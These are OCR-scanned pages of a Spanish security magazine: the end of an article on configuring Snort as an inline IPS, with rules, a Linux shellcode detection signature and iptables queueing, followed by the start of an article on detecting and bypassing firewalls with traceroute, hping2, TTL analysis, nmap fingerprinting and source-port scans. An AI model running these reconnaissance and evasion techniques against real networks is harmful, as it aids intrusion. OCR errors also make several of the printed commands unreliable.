descarguemos e instalemos las
reglas oficiales, probemos lo que he-
mos logrado hasta ahora. Crearemos
un par de firmas de ejemplo, que nos
permitiran conocer la capacidad de
nuestro IPS. Para eso emplearemos
tres tipos de reglas nuevos, que apa-
recen solo en la version inline, y que
determinan las acciones emprendi-
das por Snort a la hora de iniciarse
la firma. Estos son:

* drop — Snort registrara el hecho
de que haya aparecido un pa-
quete que corresponde a la firma
y enviara a iptables la sefal de
rechazo.

* sdrop — el paquete se rechazara,
pero no se registrara la informa-
cion correspondiente.

* reject — el paquete sera rechaza-
do y registrado, ademas, se rom-
pera la conexion (RST en el caso
del protocolo TCP) o se enviara
un paquete ICMP Port Unrea-
chable (en el caso del protocolo
UDP).

Para lograr que las reglas tipo re-
ject sean capaces de reiniciar las
conexiones, tenemos que afiadir al
fichero de configuracion la opcion
config layer2resets, qU€ hara que
IPS envie los paquetes reiniciantes
desde las interfaces que carecen
de direcciones IP. La direccion
MAC estandar en estos paquetes
es la direccién de la tarjeta de red
de salida, pero podemos cambiar
dicha direccién mediante la opcion
config layer2resets: 00:01:02:03:
04:05.

La primera de nuestras firmas
tiene la forma siguiente: drop tcp any
any -> any 22 (classtype:attempted-
user; Connection

Initiated";). Se trata de una regla
muy sencilla que identifica, bloquea,

msg:"Port 22

Listado 2. La reaccién de Snort a la primera firma

[**] [1:0:0] Port 22 Connection Initiated [**
[Classification: Attempted User Privilege Gain]
09/19-20:19:07.436667 192.168.0.2:1049 -> 193.219.28.2:22
TCP TTL:128 TOS:0x0 ID:702 IpLen:20 DgmLen:48 DF

*HRxFAKGH Seq: 0x29821EB9  Ack: 0x0 Win:
TCP Options (4) => MSS: 1460 NOP NOP SackOK

[Priority: 1]

OxFAF0 TcpLen: 28

[**] [1:0:0] ICMP Echo Request [**]

Type:8 Code:0 1ID:512 Seq:256

Listado 3. La reaccién de Snort a la segunda firma

[Classification: Attempted User Privilege Gain]
09/19-20:12:57.194560 192.168.0.2 -> 212.76.32.1
ICMP TTL:128 TOS:0x0 ID:420 IpLen:20 DgmLen:60
ECHO

[Priority: 1]

[**] [1:0:0] DNS Request [**]

Len: 31

Listado 4. La reaccién de Snort a la tercera firma

[Classification: Attempted User Privilege Gain]
09/19-20:21:12.989775 192.168.0.2:1041 -> 212.76.39.45:53
UDP TTL:128 TOS:0x0 ID:818 IpLen:20 DgmLen:59

[Priority: 1]

y registra todos los paquetes TCP
que pasen por IPS y que estén diri-
gidos al puerto 22. Como resultado,
IPS impedira que se establezca la
conexion a los servidores SSH. El
Listado 2 presenta una entrada en el
registro de eventos que Snort crea-
ra después de haber interceptado
los paquetes que corresponden a
la firma. Como podemos ver, es un
paquete SYN, el cual inicia el proce-
so de establecer las conexiones del
protocolo TCP.

La segunda regla: alert

icmp
any any <> any any (classtype:
attempted-user; msqg:"ICMP Echo

Request"; icode:0; itype:S;)idenﬂ-
ficara y registrara todos los paquetes
ICMP tipo Echo Request. Los bitaco-
ras de Snort se ampliaran con una
entrada similar a la que se presenta
en Listado 3.

La ultima firma es la mas inte-
resante: alert udp any any <> any
53 (classtype:attempted-user; msg:
"DNS
replace:"lycos";). La regla detecta-
ra y registrara todos los paquetes
UDP que se dirijan al puerto 53
— es decir, al servidor DNS -y que
contengan la cadena de caracteres

Request"; content:"yahoo";

yahoo. IPS dejara pasar a estos
paquetes, pero la palabra yahoo
cambiara por lycos. De esta acciéon
sera responsable el campo replace
de la firma, decidiendo en qué debe
convertirse el contenido del campo
content.

Como resultado, si la solici-
tud atafie a la direccion www.
yahoo.com, el servidor DNS res-
pondera con la direccion IP del
servidor www.lycos.com, y en los
bitacoras se fijara la informacién
presentada en Listado 4. Esta pro-
piedad inline de Snort tiene una im-
portancia enorme en la proteccién
de un sistema tipo tarro de miel,
cuando queremos que el intruso se
entrometa en él, pero que no sea
capaz de realizar ningun ataque
con éxito en ninguno de nuestros
ordenadores de la red. En el siste-
ma |IPS basta con modificar la firma
que identifica el cédigo de la capa
segun el modelo descrito en el
Listado 5, y todos los ataques que
sean conformes con este modelo
no alcanzaran el éxito.

Debemos colocar todas estas re-
glas en el directorio /etc/snort/rules
en el fichero test.rules, y agregar
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Antes del cambio:

"190 90 90 E8 CO FF FF FF|/bin/sh";

Después del cambio:

"190 90 90 E8 CO FF FF FF|/bin/sh";

Listado 5. Una modificacion sencilla de la firma estropeara el cédigo
de la capa y frustrara el éxito del ataque

alert ip $EXTERNAL NET S$SHELLCODE PORTS -> SHOME NET any <«
(msg:"SHELLCODE Linux shellcode"; content: «

reference:arachnids, 343; classtype:shellcode-detect; sid:652; rev:9;)

alert ip SEXTERNAL NET $SHELLCODE PORTS -> $HOME NET any <
(msg:"SHELLCODE Linux shellcode"; content:«

replace:"|90 90 90 E8 CO FF FF FF|/ben/sh"; <«
reference:arachnids, 343; classtype:shellcode-detect; sid:652; rev:9;)

la entrada include  $RULE PATH/
test.rules al final del fichero /etc/
snort/snort.conf. Configuramos ip-
tables de forma que los paquetes
pasen por Snort y arrancamos éste:

B

iptables -P FORWARD DROP

B

iptables -A FORWARD -j QUEUE

B

snort -Q \
-c /etc/snort/snort.conf \

-1 /var/log/snort -v

El ultimo comando arranca Snort en
el modo inline (la opcion -o). La con-
figuracion se descarga del fichero
/etc/snort/snort.conf (-c), y los bita-
coras se graban en el directorio /var/
log/snort (-1). En la fase de pruebas
utilizamos también la opcion -v, la
cual hace que IPS trabaje en el mo-
do informativo y visualice un monton
de mensajes, que nos permiten dar
cuenta de donde cometemos even-
tuales errores. Finalmente, suplanta-
remos la opcién -v por la -p, gracias
a lo que Snort operara en segundo
plano, como demonio.

Instalamos las reglas

oficiales

Ha llegado la hora de equipar nuestro
sistema de prevencién de ataques de
las firmas oficiales y de produccion
de ataques. Puesto que utilizaremos
las firmas disponibles para los usua-
rios registrados, debemos abrirnos
una cuenta en la pagina de inicio
de Snort. Cuando ya lo hayamos
hecho, y hayamos descargado las
firmas mas recientes disponibles,
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las movemos al directorio /etc/snort
descomprimiéndolas alli.

La accion que Snort emprende
por defecto respecto a todas las
reglas consiste en registrar el ataque
detectado (la directriz aiert). Debido
a que nosotros iremos bloqueando
los ataques, tenemos que modificar
todas las reglas, cambiando la ac-
Cion alert poOr drop. Podemos conse-
guirlo mediante el comando:
$ for £ in ‘1ls *.rules’ ;\
do sed s/"alert/drop/g \
Sf > ${f}.new ; \

mv ${f}.new Sf ; \

done

Ademas, debemos corregir la parte
final del fichero snort.conf de forma
que cada una de las firmas se car-
gue al inicio del programa (antes
todas las lineas que iniciaban los
ficheros de las firmas las hemos
convertido en comentarios). Para
terminar, arrancamos Snort:

# snort -Q -D \
-c /etc/snort/snort.conf \

-1 /var/log/snort

Ahora bien, hay que recordar que
instalar un nuevo sistema IPS en un
entorno de red y activar el bloqueo
para todas las reglas se recomienda
muy pocas veces. Todos los disposi-
tivos IDS/IPS necesitan ajustarse a
la red concreta, para que se eliminen
las falsas alarmas, que siempre
aparecen en las primeras etapas de

Configuracion
de iptables

Para dirigir al espacio del usuario los
datos que se envian a través de la
red nos hemos ayudado del comando
iptables -A FORWARD -j QUEUE, que
engloba todo el flujo de datos. Como
resultado, se analizaran todos los
paquetes que pasen por IPS. Sin em-
bargo, podemos limitarnos a observar
s6lo las conexiones seleccionadas.
Por ejemplo, si queremos que Snort
busque los ataques Unicamente en
los paquetes que se envien a los ser-
vidores web, podemos emplear el co-
mando iptables -A FORWARD -p tcp
--dport 80 -j QUEUE.

&

funcionamiento. Si disponemos que
el sistema bloquee todo lo que con-
sidere sospechoso, sin haberle en-
sefiado previamente lo especifico de
nuestra red, puede ocurrir que una
parte de los servicios deje de funcio-
nar, o aparezcan perturbaciones en
su operacion, porque IPS no haya
cedido el paso a algunos paquetes.
De modo que es aconsejable com-
probar primero como reacciona cada
una de las firmas al trafico tipico de
nuestra red, registrando los ataques
detectados, y desactivar luego las
reglas que provocan falsas alarmas.
Solo entonces podemos permitir
que nuestro dispositivo bloquee los
ataques.

Actualizaciones

automaticas

Todos los sistemas IDS/IPS, incluso
los que utilizan las ultimas reglas de
los ataques, se desactualizan bastan-
te pronto. Nuevos peligros aparecen a
tanta velocidad que los sistemas de
este tipo, para permanecer eficaces,
requieren actualizaciones diarias
de sus bases de firmas. Efectuarla
manualmente es una tarea ardua,
asi que intentaremos automatizarla,
empleando una herramienta llamada
Oinkmaster en su versién 1.2. Para
conseguirlo, necesitaremos, salvo
el programa como tal, el llamado
cadigo OinkCode, que nos permitira
lograr acceso a las reglas destinadas
a los usuarios de Snort registrados.
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Podemos generar el cédigo después
de validarnos en nuestra cuenta en el
servicio de Snort.

Oinkmaster es un script en el
lenguaje Perl, de modo que su insta-
lacion es muy facil:

tar zxvf oinkmaster-1.2.tar.gz
cd oinkmaster-1.2

cp oinkmaster.pl /usr/local/bin/

H= H W »n

cp oinkmaster.conf /etc/

La configuracion que consiste en
editar el fichero oinkmaster.conf
tampoco debe producir dificultades.
Sobre todo, debemos decidir qué
firmas queremos descargar. Lo que
mas nos importa son las reglas mas
actuales, asi que modificamos la
linea # url = http://www.snort.org/
pub-bin/oinkmaster.cgi/<oinkcode>/
snortrules-snapshot-CURRENT.tar.gz
para que no contenga el signo # en
su inicio, y en lugar de <oinkcode>
insertamos el cédigo que el script
de la pagina de inicio de Snort haya
generado para nosotros.

Si dejamos la configuracion de
Oinkmaster en el estado presente,
las firmas nuevas adoptaran su for-
ma por defecto, o sea, so6lo nos in-
formaran de los ataques que acaben
de detectarse. Nosotros optamos
por que se bloqueen los ataques,
de modo que debemos agregar al
fichero oinkmaster.conf una entra-

da que resulte en la modificacion
de todas las reglas descargadas,
cambiando la accion por defecto de
alert POr drop: modifysid * "“alert"
| "drop" Procediendo de manera si-
milar podemos indicarle al programa
qué reglas deben desactivarse por
defecto (la directriz disablesid <nro
de firma>). Esto resulta muy practico
si ya contamos con un IPS oportuna-
mente ajustado y no queremos que
la actualizacion de las firmas nos lo
estropee todo, es decir, por ejemplo,
que active las reglas que hemos de-
cidido desactivar.

Arrancamos el programa con el
comando:

# oinkmaster.pl

-0 /etc/snort/rules/

donde el parametro -o determina el
directorio en el cual deben situarse
las reglas nuevas. Ademas, merece
la pena utilizar el parametro -», que
indica el directorio al que deben mo-
verse todos los ficheros de firmas
anteriores. Para que todo funcione
correctamente, Snort debe recargar-
se después de cada actualizacion de
las reglas. De modo que lo ultimo
que deberiamos hacer es crear un
script sencillo que automatice todo
el proceso y afadirlo a /etc/crontab
o al fichero de otro administrador de
tareas. ®
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El desvio de los
cortafuegos de red

Oliver Karow g

Grado de dificultad
o0

n la actualidad, una de las necesida-
E des mas importantes de las infraes-

tructuras IT es la de proteger a una
red de los ataques y del acceso involuntario
de las redes no fiables como Internet. Esta
es la zona en la que los cortafuegos comien-
zan a funcionar. La tarea primaria de un cor-
tafuegos es la de separar las redes, y decidir
si se les permite a los paquetes pasar de una
red a otra.

Hay diferentes tipos de cortafuegos que
tienen diferentes enfoques en cuanto al cum-
plimiento de la tarea primaria. Los dos tipos
mas comunes son: los filtros de paquetes y
los cortafuegos de la capa de aplicacion (ver
Recuadro Manual del cortafuegos basico).

Independientemente del tipo que sea,
un cortafuegos necesita de alguna base
para decidir si un paquete sera enviado a su
destino o no. Esta es basicamente la politi-
ca de un cortafuegos en forma de listas de
acceso o de reglas de filtrado. Vamos a ver
las posibilidades del desvio de tales politi-
cas mediante el abuso de reglas de filtrado
defectuosas, debilidades en los protocolos
comunes, Yy las limitaciones de los diferentes
tipos de cortafuegos.
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(" Se suele tener la idea de que un cortafuegos protege por completo
a las redes del acceso no autorizado. Sin embargo, los cortafuegos
también tienen debilidades y es posible desviarlos, ya sea mediante
un fallo en la configuracién o a través de las debilidades del
producto. Vamos a observar como un intruso puede acceder a un
sistema por medio de la desviacion de un cortafuegos.

La deteccion de cortafuegos
Antes de que un sistema ubicado detras de un
cortafuegos pueda ser atacado, primero el intru-
so debe determinar si hay un cortafuegos en ese
sitio. Esto no siempre es tan evidente como pare-
ce, pues quienes mantienen los cortafuegos utili-
zan a menudo trucos que impiden la deteccion de
los mismos. Sin embargo, ya que un cortafuegos
puede interferir en los resultados de un ataque,
es importante ser conscientes de su existencia.
Primero, veamos algunas técnicas que se em-
plean en la deteccion de un cortafuegos.

g
En este articulo aprenderas...

» cémo funcionan los cortafuegos,

* como pueden ser detactados,

*  como puede ser desviado un cortafuegos apro-
vechando las configuraciones erréneas o las
debilidades de los productos de cortafuegos.

Lo que deberias saber...

» debes estar al corriente sobre el TCP/IPv4,
» debes conocer el modelo de referencia ISO/
OSl.
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Manual del cortafuegos basico

Un cortafuegos es en general un sistema con interfaces multiples, sujeto a diferentes
redes, que tiene un mecanismo de filtrado para que permita o bloquee el trafico entre
las redes. Los cortafuegos pueden ser clasificados segun la capa TCP/IP utilizada
para el analisis y envio de los paquetes:

Los filtros de paquetes

El filtrado de paquetes analiza los paquetes en la Red (3) y Transporta (4) las capas
del modelo ISO/OSI. Eso significa que un filtro de paquetes utiliza principalmente el
siguiente criterio para acometer su decision de filtrado:

* los protocolos (ICMP, OSPF, AH, ESP, etc.),

» ladireccion IP de origen,

* ladireccion IP de destino,

» el puerto de origen,

* el puerto de destino,

* losindicadores TCP (SYN, ACK, RST, FIN, etc.).

Los filtros de paquetes dinamicos/estaticos

Un filtro de paquetes estatico esta al tanto de cada conexion y almacena esta infor-
macion en tablas de estado internas, para ampliar las capacidades de un paquete
de filtros sencillo. Cuando un paquete saliente pasa por el filtro de paquetes (e
inicia una conexion), los puertos que se corresponden y las direcciones IP para los
paquetes de respuesta se abren durante la conexion y luego se cierran.

Ademas, algunos filtros de paquetes estaticos son capaces de abrir puertos
dinamicamente si se ha negociado un nuevo puerto o direccion IP entre cliente y
servidor en una conexion permitida. Algunos servicios como el Oracle y el Portma-
pper lo hacen.

Los cortafuegos a niveles de la aplicacion

Los cortafuegos a nivel de aplicacién son capaces de analizar los paquetes hasta
la capa de aplicacién del modelo ISO/OSI. Ademas de poseer las caracteristicas
de un filtro de paquetes estatico/dinamico, también son capaces de inspeccionar
la carga util de un paquete. Mientras que un filtro de paquetes sélo puede tomar
decisiones basadas en la informacion de la cabecera del paquete, un cortafuegos
a nivel de la aplicacion puede examinar la informacion especifica de la aplicacion.
Por ejemplo, permite que este tipo de cortafuegos admita lo comunicacién HTTP
con el puerto 80/TCP en general, pero bloquea las consultas con ciertos comandos
como el CONNECT O el DELETE.

Los cortafuegos a nivel de aplicacién necesitan un servicio de proxy especial que
se ejecute en cada protocolo que tiene que pasar a través de un cortafuegos. Ya que
el servicio proxy no siempre esta disponible, la mayoria de vendedores de cortafuegos
emplean de manera adicional capacidades de filtrado de paquetes y servicios proxy
genéricos, sin la habilidad de analisis del protocolo.

Los cortafuegos hibridos y de capa 2

Muchos vendedores de cortafuegos estan utilizando una tecnologia hibrida para
obtener lo mejor de cada tipo de cortafuegos. Eso significa que incluyen en sus
productos el filtrado de paquetes estatico asi como las habilidades de la capa
de la aplicacion. También hay cortafuegos de capa 2 disponibles en el mercado.
Estos no son tan populares como los de filtrado de paquetes y los de capa de
la aplicacion, y se usan principalmente a nivel de la interfaz, dependiendo del
vendedor.

J

El Traceroute es un mecanismo
utilizado para descubrir los routers
que envian paquetes préximos a su
destino. Si hay un cortafuegos colo-
cado en el sitio podria responder a
un paquete del traceroute.

Ya que el traceroute es en si
mismo una técnica muy antigua,
la mayoria de los cortafuegos lo
bloquean. Sin embargo, aun exis-
ten malos entendidos en cuanto
a la funcionalidad del traceroute,
lo que permite que los intrusos se
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abran paso a través de un sistema
de cortafuegos.

El Listado 1 muestra los resul-
tados de un traceroute, cuando es
bloqueado por un cortafuegos. Co-
mo podemos apreciar, el traceroute
funciona hasta que llega al sistema
con la IP 10.4.4.254. Luego aparece
algo en el sitio que bloquea los inten-
tos de seguir una ruta.

Ahora vamos a intentar entender
como funciona el seguimiento de ru-
tas (ver también Figura 1). Para de-
terminar la ruta de un paquete IP, se
utiliza el campo TTL de la cabecera
IP, de manera que este se reduce en
uno cada vez que el paquete llega
a un router. Si el router recibe un
paquete IP con el valor de dos, este
le restara uno, y si el resultado es
mayor o igual a uno, sera remitido al
préximo router de acuerdo con la in-
formacién del enrutado. Si un router
recibe un paquete con el valor TTL
de 1, lo restara, y ya que el valor re-
sultante es de cero, no enviara el pa-
quete al préoximo router, y en su lugar
enviara una notificaciéon al remitente
para informarle de que el paquete
fue descartado por el camino.

El traceroute comienza su traba-
jo enviando el primer paquete con un
TTL igual a 1. Este obtiene una noti-
ficacion de expiracion del ICMP TTL
del primer router. Entonces aumenta
el TTL a 2 para pasar el primer router
y conseguir una notificacion similar
desde el préoximo router en curso.
Esto sucede de manera continua
hasta que se alcanza el objetivo.
Como cada router envia una notifi-
cacion, el traceroute puede construir
una lista de routers (si no esta confi-
gurado de otra manera).

También es importante saber
que hay dos maneras de hacer uso
del traceroute. La primera utiliza los
paquetes ICMP de consulta echo
(por ejemplo, las ejecuciones por
parte de Windows del traceroute), y
los otros paquetes UDP (por ejem-
plo la mayoria de las ejecuciones
*NIX). Ambas utilizan la técnica del
TTL. Por tanto, es importante para
un administrador de cortafuegos
filtrar ambas ejecuciones del tra-
ceroute.
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Listado 1. El Traceroute bloqueado por un cortafuegos

# traceroute www.dummycompany.de
traceroute to www.dummycompany.de (10.10.10.10), 30 hops max, 40 byte packets

1 10.255.255.254 0.373 ms 0.203 ms 0.215 ms
(...)

10 router.companyl.de (10.1.1.254) 88.080 ms 88.319 ms 87.921 ms
11 router.company2.de (10.2.2.254) 87.881 ms 89.541 ms 88.081 ms
12 router.company3.de (10.3.3.254) 86.749 ms 86.919 ms 86.734 ms
13 router.companyd.de (10.4.4.254) 87.216 ms 87.312 ms 87.307 ms

14 * x x

Listado 2. La utilizacién de la técnica TCP de traceroute con hping2

# hping2 -T -t 1 -S -p 80 www.dummycompany.de

HPING www.dummycompany.de (eth0 10.10.10.10 ):
40 headers + 0 data bytes

hop=1 TTL 0 during transit from ip=10.255.255.254 name=UNKNOWN

hop=1 hoprtt=12.4 ms

(..0)

S set, <+

hop=10 TTL 0 during transit from ip=10.1.1.254 name=router.companyl.de
hop=11 TTL 0 during transit from ip=10.2.2.254 name=router.company2.de
hop=12 TTL 0 during transit from ip=10.3.3.254 name=router.company3.de
hop=13 TTL 0 during transit from ip=10.4.4.254 name=router.company4.de

hop=14 TTL 0 during transit from ip=10.5.5.254 name=UNKNOWN
len=46 ip=10.10.10.10 flags=SA DF seqg=15 ttl=107 1d=12852 win=29200 rtt=95.6 ms
len=46 ip=10.10.10.10 flags=R DF seqg=15 ttl=107 id=12856 win=0 rtt=194.6 ms

Listado 3. El envio de un paquete hacia un puerto cerrado

# hping2 -S -p 99 -c 1 www.dontexist.com

HPING www.dontexist.com (eth0O 192.168.10.10): S set, <
40 headers + 0 data bytes

ICMP Packet filtered from ip=192.168.9.254

Listado 4. La observacion del trafico de red

# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10OMB (Ethernet), capture size 96 bytes
12:59:18.778417 IP 172.16.1.1.1866 > 192.168.10.10.99: <«

S 1958445360:1958445360(0) win 512
12:59:18.786914 IP 192.168.9.254 > 172.16.1.1 icmp 36: <«

host 192.168.10.10 unreachable - admin prohibited filter

.

Listado 5. La comparacion de los valores del TTL

# hping2 -S -p 80 -c 1 www.randomname.com
HPING www.randomname.com (ethO 192.100.100.10): <«
S set, 40 headers + 0 data bytes
len=46 1p=192.100.100.10 flags=SA DF seqg=0 ttl=55 id=0 win=5840 rtt=7.6 ms

# hping2 -S -p 99 -c 1 www.randomname.com

HPING www.randomname.com (ethO 192.100.100.10): <«
S set, 40 headers + 0 data bytes
len=46 ip=192.100.100.10 flags=RA DF seq=0 ttl=56 id=0 win=0 rtt=7.6 ms
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Ya que sabemos que el campo TTL es
parte de la cabecera IP y los filtros co-
munes del traceroute sélo bloquean a
los paquetes UDP e ICMP, podemos
intentar evitar el filtro utilizando sim-
plemente un paquete TCP en vez de
un UDP o ICMP. Intentemos otra vez
seguir la ruta hacia nuestro servidor de
destino. Esta vez emplearemos la he-
rramienta hping2, que nos permite en-
viar paquetes habiles (ver Listado 2).
Segun podemos apreciar, hemos
detectado otro salto. Mientras que el
comando del traceroute fue bloquea-
do después del décimotercer router,
hping2 nos proporciona un resultado
adicional.

Para sondear la existencia de un
cortafuegos, es bueno comparar
los paquetes de respuesta de los
puertos abiertos con aquellos de los
puertos cerrados. Observemos algu-
nos trucos que pueden demostrar la
existencia de un cortafuegos.

Primero, utilicemos hping2 para
enviar un paquete a nuestro destino,
hacia un puerto del que sabemos
0 asumimos que esta abierto (ver
Listado 3). Al mismo tiempo apre-
ciemos el trafico de la red utilizando
el tcpdump (ver Listado 4). Podemos
ver un mensaje de destino inalcan-
zable en forma de mensaje de filtro
de administracion prohibido desde la
192.168.9.254. Este mensaje indica
que el acceso al puerto 99/TCP de
nuestro sistema de destino es filtrado
a través de una lista de acceso en el
router. Ya que este indicador es muy
evidente con respecto a la existencia
de un cortafuegos, observemos otra
técnica basada en el analisis de los
valores del TTL.

Cada vez que un paquete IP pasa
por un dispositivo router, su TTL se
reduce en uno. Asi que si tenemos
un servidor protegido por un corta-
fuegos de red instalado en un siste-
ma determinado, podria ser posible
que los paquetes que se originen
desde el servidor tengan un TTL
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diferente que los paquetes que se
originen desde un cortafuegos.

El reto ahora es obtener un
paquete de respuesta de ambos,
del servidor y del sistema de corta-
fuegos potencialmente existente, y
comparar los valores TTL de ambos
paquetes. Si hay diferencia en el va-
lor entonces es posible que haya un
cortafuegos en el sitio.

Para forzar ambos sistemas a
que respondan, podemos enviar un
paquete a un puerto abierto y uno al
puerto cerrado de nuestro sistema
de destino, segun lo cual el 80/TCP
esta abierto y el 99/TCP esta cerra-
do (ver Listado 5). Como podemos
apreciar, hay una diferencia entre los
valores TTL (la diferencia de uno).
Esto indica que existe un sistema de
cortafuegos en el sitio que protege al
servidor de destino.

Determinar el tipo de

cortafuegos

Las técnicas anteriores ayudan a
demostrar la existencia de un cor-
tafuegos. Si podemos identificar la
direccion IP del cortafuegos, existen
algunos trucos extra que ayudan a
reunir informacién adicional, como el
producto del cortafuegos o el siste-
ma operativo en uso.

Haremos uso del hecho de que cada
pila IP de un sistema operativo tiene
patrones uUnicos que hacen posible
determinar la version y el tipo de sis-
tema operativo que esta en uso. Ya
que la mayoria de las aplicaciones
de cortafuegos influyen en la con-
ducta de la pila IP, también es po-
sible determinar frecuentemente el
tipo y la version del cortafuegos ins-
talado. La herramienta a elegir seria
nmap con su capacidad de detec-
cion de OS integrada (ver Listado 6).
Solo escaneamos tres puertos vy
fuimos capaces de determinar lo que
es probablemente un cortafuegos
Checkpoint Firewall-1 NG ejecutado
en un sistema operativo Solaris.
Vamos a observar otro cortafue-
gos (ver Listado 7), esta vez es un
Cortafuegos de Symantec Enterpri-

Listado 6. La Identificacién Digital del OS y del cortafuegos con nmap

# nmap -sS -F -n -0 -p 80,99,443 192.168.190.1
Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) <+
at 2005-10-09 17:23 CEST
Interesting ports on 192.168.190.1:
PORT STATE SERVICE
80/tcp open http
99/tcp closed metagram
443/tcp open https
Device type: firewall|broadband router|general purpose
Running: Checkpoint Solaris 8, Belkin embedded, Sun Solaris 8
0S details: Checkpoint Firewall-1 NG on Sun Solaris 8, <+
Belkin DSL/Cable Router, Sun Solaris 8, Sun Trusted Solaris 8

)

Listado 7. La huella digital de un Cortafuegos de Symantec Enterprise
Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) <

at 2005-10-10 13:43 CEST
Interesting ports on 192.168.99.1:
(The 1193 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
21/tcp open ftp
22/tcp  open ssh
23/tcp  open telnet
25/tcp open smtp
53/tcp  open domain
80/tcp  open http
119/tcp open nntp
139/tcp open netbios-ssn
443/tcp open https
481/tcp open dvs
512/tcp open exec
513/tcp open login
514/tcp open shell
554/tcp open rtsp
1720/tcp open H.323/0.931
2456/tcp open unknown
5631/tcp open pcanywheredata
7070/tcp open realserver
No exact OS matches for host (If you know what OS is running <«

on it, see http://www.insecure.org/cgi-bin/nmap-submit.cgi) .

J

Atacante Router 1 Router 2 Router 3 Servidor
—_—
—

TTL | —————————»
<«—— ICMP-TTL-EXPIRED

TTL2 >
« ICMP-TTL-EXPIRED
TTL3 '
ICMP-TTL-EXPIRED
TTLn ' Bloqueado por un cortafuegos

Figura 1. Como funciona el traceroute
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Listado 8. La comprobacion de anuncios A
# netcat www.raptorfirewall.nix 80
> HEAD / HTTP/1.0
< HTTP/1.1 503 Service Unavailable
< MIME-Version: 1.0
< Server: Simple, Secure Web Server 1.1
< Date: Fri, 17 Sep 2004 19:08:35 GMT
< Connection: close
< Content-Type: text/html
< <HTML>
< <HEAD><TITLE>Firewall Error: Service Unavailable</TITLE></HEAD>

\_

Listado 9. Una exploracion normal vs una exploracion en el puerto de
origen
# nmap -sS -p 1-65535 192.168.0.1
Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) <+
at 2005-10-09 17:01 CEST
Interesting ports on 192.168.0.1:
(The 1658 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
80/tcp open http
Nmap run completed -- 1 IP address (1 host up) scanned in 6.607 seconds
# nmap -sS -g 80 -p 1024-65535 192.168.0.1
Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) <+
at 2005-10-09 17:01 CEST
Interesting ports on 192.168.0.1:
(The 1657 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
80/tcp open http
6000/tcp open X11
Nmap run completed -- 1 IP address (1 host up) scanned in 6.607 seconds )

Tabla 1. Los puertos abiertos que pueden ayudar a determinar el tipo de

cortafuegos

Producto del Corta- Numero del puerto | Objetivo
fuegos

Cortafuegos de Sy- 888/TCP
mantec Enterprise

Cortafuegos de Sy- 2456/TCP
mantec Enterprise

Checkpoint FW1-NG 256/TCP
Checkpoint FW1-NG 257/TCP
Checkpoint FW1-NG 18181/TCP
Checkpoint FW1-NG 18190/TCP

se. Como podemos ver, nmap no fue
capaz de determinar el sistema ope-
rativo y el producto del cortafuegos,
pero el que tenga muchos puertos
abiertos indica que este podria ser
un cortafuegos basado en proxy y
no hay muchos vendedores de esos
productos.

OOB-Daemon

Administracion basada en
la Web

Administracion
FW1_log

Protocolo OPSEC del
Contenido Vectorial

Interfaz de administracion

Por tanto, ademas de la detec-
cion de huellas con nmap, también
merece la pena echarle un vistazo
a los puertos comunes de los dife-
rentes productos de cortafuegos de
los diferentes vendedores. Por ejem-
plo, el Cortafuegos de Symantec
Enterprise (SEF) tiene dos puertos
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tipicos, que son el 2456/TCP para
la administracion basada en la web
y el 888/TCP para la Autenticacion
Fuera de Banda. La comparacion de
los resultados de la busqueda con la
Tabla 1 nos lleva un paso adelante
en la definicion del producto del
cortafuegos. Por cierto, una capa de
aplicacion bien configurada como la
SEF no tendra tantos puertos abier-
tos en el cortafuegos externo. Un
Cortafuegos Checkpoint 1 también
tiene los tipicos puertos abiertos que
indican el producto del cortafuegos.
Estos son, por ejemplo, los puertos
administrativos en el rango 256-
264/TCPy 18180—-18265/TCP.
También vale la pena saber que
nmap no es la Unica herramienta que
puede ser utilizada para detectar un
cortafuegos. Otras herramientas ta-
les como xprobe y pOf también pue-
den ser utilizadas en la deteccion de
un cortafuegos. Se puede encontrar
mas informacion util en el Articulo
OS fingerprinting — cémo no de-
jJjarnos reconocer? publicado en la
edicién del 4/2004 de hakin9.

Para asegurarnos del producto de
cortafuegos con el que vamos a tra-
bajar, se puede utilizar una técnica
de comprobacién de anuncios para
recibir mas informacion. Por ejemplo,
la salida de un demonio HTTP de un
Cortafuegos de Symantec Enterprise
puede ser identificada sencillamente
por el Servidor: la cadena Simple, Se-
cure Web Server 1.1 (ver Listado 8).

Sin embargo, la salida misma del
anuncio no es muy fiable, porque la
mayoria de los demonios la pueden
cambiar con facilidad. Pero, junto
con la identificacion de TCP y los
numeros de puertos abiertos, es un
buen indicador para determinar el
producto del cortafuegos.

La desviacion de los

cortafuegos

Cuando un intruso determina la exis-
tencia de un cortafuegos y su tipo,
tiene varias posibilidades de desviar
un cortafuegos. Vamos a observar
métodos tales como el abuso de las
listas de acceso mal configuradas,

www.hakin9.org
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Los modos FTP activo y pasivo

El File Transfer Protocol (Protocolo de transferencia de Archivos) utiliza dos canales
para la comunicacion entre un cliente y un servidor. El canal de comandos se utiliza
para enviar érdenes al servidor y respuestas al cliente. Si se transfieren datos o comu-
nicacion adicional, se establece el canal de datos. Los datos se transfieren, por ejem-
plo, si un archivo es descargado o bajado, pero también si se consulta una lista del
directorio. Para establecer el canal de datos, el FTP admite dos modos, el FTP activo
y pasivo. La diferencia entre los modos radica en quién establece el canal de datos.

En el caso de un FTP activo, el servidor FTP se conecta al cliente FTP. Por lo
tanto, el cliente FTP le dice al servidor, a través del comando port, qué direccion IP y
puerto se abrira a la escucha para que acepte conexiones del servidor FTP. En el caso
del FTP pasivo, el cliente FTP se conecta con el servidor FTP. Por ello el servidor FTP
tiene que comunicarle al cliente FTP a qué direccion IP y puerto se puede conectar
para establecer el canal de datos.

Para entrar en el modo pasivo, el cliente tiene que enviar un comando pasv. El
servidor envia como una respuesta la informacion del socket al cliente en el formato
IP,IP,IP,IP,Hbyte,Lbyte segun lo cual el Hbyte y el Lbyte son los puertos para co-
nectarse, y la direccion IP esta separada por comas en lugar de puntos. Ver también

Figuras 2y 3.

J

conocidas como debilidades de pro-
tocolo y los fallos en los productos
del cortafuegos, que pueden con-
ducir al acceso no autorizado en un
sistema protegido por cortafuegos.

Vamos a comenzar con los filtros de
paquetes sencillos. Ellos toman sus
decisiones analizando la cabecera
IP o la TCP/UDP de cada paquete,
